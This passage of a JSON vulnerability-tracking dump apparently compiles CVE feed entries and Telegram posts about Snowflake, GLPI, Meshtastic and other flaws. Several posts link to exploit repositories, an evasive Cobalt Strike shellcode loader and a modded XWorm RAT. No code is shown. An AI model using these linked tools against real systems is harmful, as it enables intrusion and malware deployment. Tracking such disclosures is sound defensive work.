\nhttps://www.reddit.com/r/netsec/comments/1j9f0ur/analysis_of_cve202524813_apache_tomcat_path/\n\nCybersecurity Can\u2019t Wait: Modern Enterprises Must Adapt  \nhttps://www.tripwire.com/state-of-security/cybersecurity-cant-wait-modern-enterprises-must-adapt\n\nPre-authentication SQL injection to RCE in GLPI (CVE-2025-24799/CVE-2025-24801)  \nhttps://www.reddit.com/r/netsec/comments/1j9hcdw/preauthentication_sql_injection_to_rce_in_glpi/\n\nChina, Russia, Iran, and North Korea Intelligence Sharing  \nhttps://www.schneier.com/blog/archives/2025/03/china-russia-iran-and-north-korea-intelligence-sharing.html\n\nBehind the Scenes of Burp AI: How we built it, and what's next  \nhttps://portswigger.net/blog/behind-the-scenes-of-burp-ai-how-we-built-it-and-whats-next\n\nNew Lumma Stealer campaign abuses Reddit threads to drop malware via fake WeTransfer links  \nhttps://www.reddit.com/r/netsec/comments/1j9xq07/new_lumma_stealer_campaign_abuses_reddit_threads/\n\nRuthless Mantis - Modus Operandi  \nhttps://www.reddit.com/r/netsec/comments/1j9v0dh/ruthless_mantis_modus_operandi/\n\nFollow Top Cyber News at https://t.me/TopCyberTechNews Feel free to DM me at https://twitter.com/ShayaFeedman", "creation_timestamp": "2025-03-13T09:30:43.000000Z"}, {"uuid": "1478665b-d708-4fd6-bd16-41b287a0839d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24792", "type": "seen", "source": "https://t.me/cvedetector/16696", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-24792 - Snowflake PHP PDO Driver DOwner Defect\", \n  \"Content\": \"CVE ID : CVE-2025-24792 \nPublished : Jan. 29, 2025, 4:15 p.m. | 1\u00a0hour, 59\u00a0minutes ago \nDescription : Snowflake PHP PDO Driver is a driver that uses the PHP Data Objects (PDO) extension to connect to the Snowflake database. Snowflake discovered and remediated a vulnerability in the Snowflake PHP PDO Driver where executing unsupported queries like PUT or GET on stages causes a signed-to-unsigned conversion error that crashes the application using the Driver. This vulnerability affects versions 0.2.0 through 3.0.3. Snowflake fixed the issue in version 3.1.0. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-29T19:52:10.000000Z"}, {"uuid": "c2b010e8-0dd3-46b2-ba70-540e3d0399ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24794", "type": "seen", "source": "https://t.me/cvedetector/16706", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-24794 - Snowflake Connector for Python Pickle Deserialization Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-24794 \nPublished : Jan. 29, 2025, 9:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : The Snowflake Connector for Python provides an interface for developing Python applications that can connect to Snowflake and perform all standard operations. Snowflake discovered and remediated a vulnerability in the Snowflake Connector for Python. The OCSP response cache uses pickle as the serialization format, potentially leading to local privilege escalation. This vulnerability affects versions 2.7.12 through 3.13.0. Snowflake fixed the issue in version 3.13.1. \nSeverity: 6.7 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T00:02:56.000000Z"}, {"uuid": "6f1d16f7-88f7-417d-b5bd-b3a486c4392f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24793", "type": "seen", "source": "https://t.me/cvedetector/16705", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-24793 - Snowflake Connector for Python SQL Injection\", \n  \"Content\": \"CVE ID : CVE-2025-24793 \nPublished : Jan. 29, 2025, 9:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : The Snowflake Connector for Python provides an interface for developing Python applications that can connect to Snowflake and perform all standard operations. Snowflake discovered and remediated a vulnerability in the Snowflake Connector for Python. A function from the snowflake.connector.pandas_tools module is vulnerable to SQL injection. This vulnerability affects versions 2.2.5 through 3.13.0. Snowflake fixed the issue in version 3.13.1. \nSeverity: 7.0 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T00:02:56.000000Z"}, {"uuid": "884bf6a5-cb5b-4c84-9b11-fbb67926e71f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24795", "type": "seen", "source": "https://t.me/cvedetector/16704", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-24795 - Snowflake Connector for Python File Inheritance Allow Credentials Disclosure\", \n  \"Content\": \"CVE ID : CVE-2025-24795 \nPublished : Jan. 29, 2025, 9:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : The Snowflake Connector for Python provides an interface for developing Python applications that can connect to Snowflake and perform all standard operations. Snowflake discovered and remediated a vulnerability in the Snowflake Connector for Python. On Linux systems, when temporary credential caching is enabled, the Snowflake Connector for Python will cache temporary credentials locally in a world-readable file. This vulnerability affects versions 2.3.7 through 3.13.0. Snowflake fixed the issue in version 3.13.1. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-30T00:02:55.000000Z"}, {"uuid": "925b5093-b577-4906-89c9-ba816f9e1b76", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24790", "type": "seen", "source": "https://t.me/cvedetector/16701", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-24790 - Snowflake JDBC Driver World-Readable Temporary Credential Cache Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-24790 \nPublished : Jan. 29, 2025, 6:15 p.m. | 2\u00a0hours, 6\u00a0minutes ago \nDescription : Snowflake JDBC provides a JDBC type 4 driver that supports core functionality, allowing Java program to connect to Snowflake. Snowflake discovered and remediated a vulnerability in the Snowflake JDBC Driver. On Linux systems, when temporary credential caching is enabled, the Snowflake JDBC Driver will cache temporary credentials locally in a world-readable file. This vulnerability affects versions 3.6.8 through 3.21.0. Snowflake fixed the issue in version 3.22.0. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-29T21:32:24.000000Z"}, {"uuid": "9777a4c6-986d-46d2-bb44-d702e44e6156", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24791", "type": "seen", "source": "https://t.me/cvedetector/16689", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-24791 - Snowflake Connector NodeJS Local Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2025-24791 \nPublished : Jan. 29, 2025, 5:15 p.m. | 59\u00a0minutes ago \nDescription : snowflake-connector-nodejs is a NodeJS driver for Snowflake. Snowflake discovered and remediated a vulnerability in the Snowflake NodeJS Driver. File permissions checks of the temporary credential cache could be bypassed by an attacker with write access to the local cache directory. This vulnerability affects versions 1.12.0 through 2.0.1 on Linux. Snowflake fixed the issue in version 2.0.2. \nSeverity: 4.4 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"29 Jan 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-01-29T19:52:01.000000Z"}, {"uuid": "15299b53-8cd6-447c-a65d-98b8dfc41ac6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://t.me/cvedetector/22897", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-24797 - Meshtastic Protocol Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2025-24797 \nPublished : April 15, 2025, 12:15 a.m. | 34\u00a0minutes ago \nDescription : Meshtastic is an open source mesh networking solution. A fault in the handling of mesh packets containing invalid protobuf data can result in an attacker-controlled buffer overflow, allowing an attacker to hijack execution flow, potentially resulting in remote code execution. This attack does not require authentication or user interaction, as long as the target device rebroadcasts packets on the default channel. This vulnerability fixed in 2.6.2. \nSeverity: 9.4 | CRITICAL \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"15 Apr 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-04-15T03:13:11.000000Z"}, {"uuid": "d8c4d290-ee57-4707-be6f-7c81488f4d5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/cvedetector/20607", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-24799 - \"GLPI SQL Injection\"\", \n  \"Content\": \"CVE ID : CVE-2025-24799 \nPublished : March 18, 2025, 7:15 p.m. | 1\u00a0hour, 22\u00a0minutes ago \nDescription : GLPI is a free asset and IT management software package. An unauthenticated user can perform a SQL injection through the inventory endpoint. This vulnerability is fixed in 10.0.18. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"18 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-18T21:55:42.000000Z"}, {"uuid": "e40a5b63-525d-4877-9846-8e36fab9647e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-2479", "type": "seen", "source": "https://t.me/cvedetector/20854", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-2479 - WordPress Easy Custom Admin Bar Reflected Cross-Site Scripting\", \n  \"Content\": \"CVE ID : CVE-2025-2479 \nPublished : March 22, 2025, 7:15 a.m. | 1\u00a0hour, 56\u00a0minutes ago \nDescription : The Easy Custom Admin Bar plugin for WordPress is vulnerable to Reflected Cross-Site Scripting via the \u2018msg\u2019 parameter in all versions up to, and including, 1.0 due to insufficient input sanitization and output escaping. This makes it possible for unauthenticated attackers to inject arbitrary web scripts in pages that execute if they can successfully trick a user into performing an action such as clicking on a link. \nSeverity: 6.1 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"22 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-22T10:22:23.000000Z"}, {"uuid": "6f56d880-801f-406b-abeb-cb33e9e11201", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24796", "type": "seen", "source": "https://t.me/cvedetector/19746", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2025-24796 - Collabora Online Macro Execution Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2025-24796 \nPublished : March 6, 2025, 7:15 p.m. | 1\u00a0hour, 9\u00a0minutes ago \nDescription : Collabora Online is a collaborative online office suite based on LibreOffice. Macro support is disabled by default in Collabora Online, but can be enabled by an administrator. Collabora Online typically hosts each document instance within a jail and is allowed to download content from locations controlled by the net.lok_allow configuration option, which by default include the private IP ranges to enable access to the local network. If enabled, macros were allowed run executable binaries. By combining an ability to host executables, typically in the local network, in an allowed accessible location, with a macro enabled Collabora Online, it was then possible to install arbitrary binaries within the jail and execute them. These executables are restricted to the same jail file system and user as the document instance but can be used to bypass the additional limits on what network hosts are accessible and provide more flexibility as a platform for further attempts. This is issue is fixed in 24.04.12.4, 23.05.19, 22.05.25 and later macros. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"06 Mar 2025\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2025-03-06T22:12:35.000000Z"}, {"uuid": "1a9f2a69-03fa-4511-923a-d3c76622ea1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "Telegram/aVBd3ldNRLl7Xo5CPtKzp3UErMxRgMRg31wU9VFi81ukDXk", "content": "", "creation_timestamp": "2025-04-04T01:00:08.000000Z"}, {"uuid": "ac7bb413-0672-4bc0-b5d1-59c65169a4f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24793", "type": "published-proof-of-concept", "source": "Telegram/iPosWul0vPko4NOYwQGqcy8M6TKYF3_3U_ZMmp_mqwsDzY0", "content": "", "creation_timestamp": "2025-01-29T22:31:02.000000Z"}, {"uuid": "e56011bd-1ff2-4519-8f13-acb31fd0010c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "published-proof-of-concept", "source": "Telegram/Y6MqGtLM5ccvEmlRJO9-JfH9jytI_xcSqG1WwKJD5suL4M0", "content": "", "creation_timestamp": "2025-04-17T05:00:06.000000Z"}, {"uuid": "1bfb8bfc-fe31-4a28-9bff-035c25611817", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "Telegram/qHV77kqm6XVuNwIC-e6t4w7DYjxc4sNZow0AdbHEShhdlTM", "content": "", "creation_timestamp": "2025-04-15T21:00:06.000000Z"}, {"uuid": "7b7f6d24-5686-4d59-85dc-d2d0992f6a5d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "Telegram/iV_Hls37ItUz1wy4WLxZWNvee-8cGc5zd1b2ndxyF9Mk_5s", "content": "", "creation_timestamp": "2025-04-15T11:00:05.000000Z"}, {"uuid": "63832bd8-6545-437c-8fef-b6c725b81919", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/NinjaSec/28344", "content": "Unzip the file and use it freely with the templates you choose.\nhttps://github.com/HackingTeamOficial/Nucleisqlixss\n\nExtracts URLs from OSINT Archives for Security Insights.\nhttps://github.com/hahwul/urx\n\nhttps://github.com/Meowmycks/koneko\n\nRobust Cobalt Strike shellcode loader with multiple advanced evasion features\n#github #CS #tools\nhttps://github.com/RainbowSoftwares/XWorm-RCE-Patch\n\nXWorm 4.0 Modded + RCE Patched\nhttps://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\nCVE-2025-24799 Exploit: GLPI - Unauthenticated SQL Injection\nhttps://github.com/OssamaN7/LFI_Racer\n\nA tool to exploit Local File Inclusion (LFI) vulnerabilities for Remote Code Execution (RCE)\n#github #exploit\nhttps://github.com/OssamaN7/LFI_Racer\n\nRepository: Bbot - Recursive web crawler\n\nBEE bot is a multipurpose scanner inspired by Spiderfoot, designed to automate your reconnaissance, bug bounty, and ASM missions.\n\n\u2014 This tool is capable of performing the entire OSINT process in a single command, including subdomain enumeration, port scanning, web screenshots (with the gowitness module), vulnerability scanning (with kernels), and more.\nhttps://github.com/blacklanternsecurity/bbot\n\nCybersecurity AI (CAI) now includes full, nano, and mini versions of gpt-4.1 models \u2014 I believe they\u2019re still behind other top models, but they\u2019re a significant improvement for cybersecurity exercises compared to gpt-4o and o3-mini.\n\nTry it too: https://github.com/aliasrobotics/cai\n\nRepository: http://Cheat.sh : Helpful tips for commands and terminal languages\n\nhttp://Cheat.sh \u2014 is an online service accessible from the command line that searches through an impressive collection of community-curated cheat sheets.\n\n#GrayHats", "creation_timestamp": "2025-04-18T20:05:59.000000Z"}, {"uuid": "6a54c79d-9c5e-4dba-8647-d2a161c57288", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/softrinx/926", "content": "https://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\nCVE-2025-24799 Exploit: GLPI - Unauthenticated SQL Injection\n#github #exploit\n\n\u0412\u043e\u0441\u0441\u0442\u0430\u043d\u043e\u0432\u043b\u0435\u043d\u043e \u0441 \u043f\u043e\u0441\u0442\u0430 \u043a\u0438\u0442\u0430\u0439\u0446\u0430", "creation_timestamp": "2025-04-19T03:10:38.000000Z"}, {"uuid": "bf2e7190-88ee-4f09-b1bf-5fd08b5902d5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/softrinx/923", "content": "https://github.com/MatheuZSecurity/Exploit-CVE-2025-24799\n\nCVE-2025-24799 Exploit: GLPI - Unauthenticated SQL Injection\n#github #exploit", "creation_timestamp": "2025-04-15T15:54:16.000000Z"}, {"uuid": "48f4afd5-a736-4d81-8e70-cc99d32c86b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/5081", "content": "Pre-authentication SQL injection to RCE in GLPI (CVE-2025-24799/CVE-2025-24801) #GLPI #SQLinjection #RCE #webexploitation #cybersecurity https://blog.lexfo.fr/glpi-sql-to-rce.html", "creation_timestamp": "2026-08-03T02:14:01.475972Z"}, {"uuid": "2f0799b7-1c2f-480e-91d4-339c63d919e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/thebugbountyhunter/9727", "content": "Pre-authentication SQL injection to RCE in GLPI (CVE-2025-24799/CVE-2025-24801)\n\nhttps://blog.lexfo.fr/glpi-sql-to-rce.html", "creation_timestamp": "2025-03-13T17:55:31.000000Z"}, {"uuid": "9a039248-6005-4c79-9ce5-1cda17feaab2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "seen", "source": "https://t.me/CyberSecurityTechnologies/11966", "content": "#exploit\n1. CVE-2025-1974, CVE-2025-24514:\nIngress(Nightmare) NGINX RCE\nhttps://www.wiz.io/blog/ingress-nginx-kubernetes-vulnerabilities\n\n2. CVE-2025-24799, CVE-2025-24801:\nPre-auth SQLi to RCE in GLPI\nhttps://blog.lexfo.fr/glpi-sql-to-rce.html\n\n3. CVE-2025-29927:\nAuthorization Bypass in Next.js Middleware\nhttps://github.com/arvion-agent/next-CVE-2025-29927\n]-> Bypass Checker:\nhttps://github.com/RoyCampos/CVE-2025-29927", "creation_timestamp": "2025-03-26T00:36:58.000000Z"}, {"uuid": "60afa5eb-d1a1-4419-99d3-40559cfdb248", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24799", "type": "published-proof-of-concept", "source": "https://t.me/reverseame/5081", "content": "Pre-authentication SQL injection to RCE in GLPI (CVE-2025-24799/CVE-2025-24801) #GLPI #SQLinjection #RCE #webexploitation #cybersecurity https://blog.lexfo.fr/glpi-sql-to-rce.html", "creation_timestamp": "2026-08-02T02:00:03.581154Z"}, {"uuid": "e648d879-06d1-4b27-8941-b37fc677d38c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2025-24797", "type": "seen", "source": "https://t.me/purp_sec/614", "content": "\u0421\u043e\u0431\u0440\u0430\u043b \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE, \u043d\u0430 \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0441\u0442\u043e\u0438\u0442 \u043e\u0431\u0440\u0430\u0442\u0438\u0442\u044c \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435.\n\n\ud83d\udd35 CVE-2025-47188 (Command Injection) \u0438 CVE-2025-47187 \u2014 \u0434\u0432\u0435 \u043d\u043e\u0432\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 Mitel SIP \u0442\u0435\u043b\u0435\u0444\u043e\u043d\u0430\u0445, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043c\u043e\u0434\u0435\u043b\u044f\u0445 \u0434\u043b\u044f \u043a\u043e\u043d\u0444\u0435\u0440\u0435\u043d\u0446-\u0441\u0432\u044f\u0437\u0438. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043f\u0440\u0438\u0432\u0435\u0441\u0442\u0438 \u043a \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u044e \u0438\u043b\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u044e \u043a\u043e\u043d\u0444\u0438\u0434\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445 \u0438 \u043d\u0430\u0440\u0443\u0448\u0435\u043d\u0438\u044e \u0440\u0430\u0431\u043e\u0442\u044b \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430.\n\n\ud83d\udd35 CVE-2024-26809 \u2014 \u0431\u0430\u0433 \u0432 \u043f\u043e\u0434\u0441\u0438\u0441\u0442\u0435\u043c\u0435 nftables \u044f\u0434\u0440\u0430 Linux, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0441 \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u043d\u044b\u043c\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u044f\u043c\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f root) \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0432 \u043a\u043e\u043d\u0442\u0435\u043a\u0441\u0442\u0435 \u044f\u0434\u0440\u0430.\n\n\ud83d\udd35 CVE-2025-24797 \u2014 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Meshtastic, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0430\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438 \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u0438 \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u0442\u044c RCE-\u0430\u0442\u0430\u043a\u0438.\n\n\ud83d\udd35 CVE-2025-28137 \u2014 \u0431\u0430\u0433 \u0432 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0435 \u043c\u0430\u0440\u0448\u0440\u0443\u0442\u0438\u0437\u0430\u0442\u043e\u0440\u0430 TOTOLINK A810R, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. \u0410\u0442\u0430\u043a\u0430 \u043e\u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043b\u044f\u0435\u0442\u0441\u044f \u0447\u0435\u0440\u0435\u0437 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440 NoticeUrl \u0444\u0443\u043d\u043a\u0446\u0438\u0438 setNoticeCfg, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044e \u043a\u043e\u043c\u0430\u043d\u0434 \u0432 \u041e\u0421.\n\n\ud83d\udd35 CVE-2025-1782 \u2014 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 HylaFAX Enterprise \u0438 AvantFAX. \u0412\u043e\u0437\u043d\u0438\u043a\u0430\u0435\u0442 \u0438\u0437-\u0437\u0430 \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e\u0439 \u0444\u0438\u043b\u044c\u0442\u0440\u0430\u0446\u0438\u0438 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430 language \u0432 \u0444\u043e\u0440\u043c\u0430\u0445, \u0447\u0442\u043e \u043f\u0440\u0438\u0432\u043e\u0434\u0438\u0442 \u043a \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044e \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0445 \u0444\u0430\u0439\u043b\u043e\u0432. \u041f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435.\n\n\ud83d\udd35 CVE-2025-2567 \u2014 \u0431\u0430\u0433 \u0432 \u0441\u0438\u0441\u0442\u0435\u043c\u0430\u0445 Lantronix, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0438\u0439 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0438\u0437\u043c\u0435\u043d\u044f\u0442\u044c \u0438\u043b\u0438 \u043e\u0442\u043a\u043b\u044e\u0447\u0430\u0442\u044c \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0430\u0436\u043d\u044b\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0431\u0435\u0437 